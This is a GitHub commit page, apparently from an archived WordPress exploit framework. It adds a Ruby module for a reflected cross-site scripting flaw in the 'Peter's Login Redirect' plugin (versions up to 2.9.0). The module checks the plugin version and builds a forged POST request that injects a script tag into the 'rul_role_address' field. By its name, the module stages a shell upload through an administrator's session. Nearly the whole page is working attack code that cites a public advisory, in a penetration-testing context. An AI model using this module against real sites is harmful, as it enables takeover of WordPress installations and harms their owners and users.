Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 8676abc

Browse files
committed
Add Peter's Login Redirect XSS module
1 parent 9dd1bf0 commit 8676abc

File tree

1 file changed

+51
-0
lines changed

1 file changed

+51
-0
lines changed
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
class Wpxf::Exploit::PetersLoginRedirectReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Peter\'s Login Redirect <= 2.9.0 Reflected XSS Shell Upload',
9+
author: [
10+
'Yorick Koster', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8602'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_cross_site_request_forgery_in_peter_s_login_redirect_wordpress_plugin.html']
16+
],
17+
date: 'Aug 15 2016'
18+
)
19+
20+
register_options([
21+
StringOption.new(
22+
name: 'user_role',
23+
desc: 'The user role to store the script against',
24+
default: 'Administrator',
25+
required: true
26+
)
27+
])
28+
end
29+
30+
def check
31+
check_plugin_version_from_changelog('peters-login-redirect', 'readme.txt', '2.9.1')
32+
end
33+
34+
def user_role
35+
datastore['user_role'].downcase
36+
end
37+
38+
def vulnerable_url
39+
normalize_uri(wordpress_url_admin, 'options-general.php?page=wplogin_redirect.php')
40+
end
41+
42+
def initial_script
43+
create_basic_post_script(
44+
vulnerable_url,
45+
'rul_role' => user_role,
46+
'rul_role_address' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
47+
'rul_role_logout' => '',
48+
'rul_role_submit' => 'Add role rule'
49+
)
50+
end
51+
end

0 commit comments

Comments
 (0)